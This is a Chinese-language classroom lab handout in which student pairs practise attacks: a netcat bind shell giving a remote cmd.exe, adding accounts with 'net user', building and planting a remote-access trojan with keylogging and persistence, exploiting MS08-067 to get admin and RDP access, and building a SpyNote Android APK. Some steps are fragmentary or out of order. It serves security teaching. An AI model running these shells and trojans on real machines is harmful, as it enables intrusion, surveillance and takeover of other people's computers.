第四次实验

 

 

任务一 利用NC控制电脑

 NetCat，具有网络军刀之称，它小巧精悍且功能强大，说它小巧精悍，是因为他的软件大小现在已经压缩到只有十几KB，而且在功能上丝毫不减。

 实验过程需要两个同学相互配合完成：

 步骤一：

  在受害者的机器 （同学A）输入下面的命令：　nc.exe -l -p port -e cmd.exe   进入监听模式

步骤二：
在攻击者的机器.（同学B）输入下面的命令：nc ip  port //连接victim_IP,然后得到一个shell。 

步骤三：

在shell中，利用net user 用户名 密码 /add ，添加一个用户，并在受害者的机器中使用 net user 命令进行验证。

任务二 利用木马控制电脑

实验过程需要两个同学配合：

步骤一：攻击者的机器. （同学A)

步骤二：
点击菜单栏中的“生成”，在弹出的配置服务端中，配置回IP地址（攻击者IP）和端口号，并点击“生成服务端”按钮，生成木马服务端。

 

步骤三：

 将生成的木马可执行程序拷贝到受害者的机器，并双击运行，可以查看到主机上线

步骤四：

 在控制端中查看木马上线情况，并对以下功能每个进行测试和截图。

1. 文件管理，尝试拷贝文件

获取击键记录

重启后继续监听对方的主机

会话管理，卸载对方的木马。

任务三 通过漏洞获取shell（合天平台中做） 所有过程截图写博客

 windows ms08067 漏洞利用

在平台中获取shell之后，继续利用攻击机器使用

net user user pass /add

net localgroup administrators /add

命令向被攻击的机器中添加账户，并提升为管理员

然后用rdesktop 10.1.1.130 登陆对方的远程桌面

关闭xp系统主机的防火墙

 

查看攻击主机的ip地址和账户

 点击Listen Port，在弹出的对话框中输入端口号，并点击Add按钮，最后点击OK，成功监听本地端口。

利用cmd shall建立attacker的账户

最后点击Build按钮，在选择框中选择和spynote同处在一个文件夹中Patch-release.apk。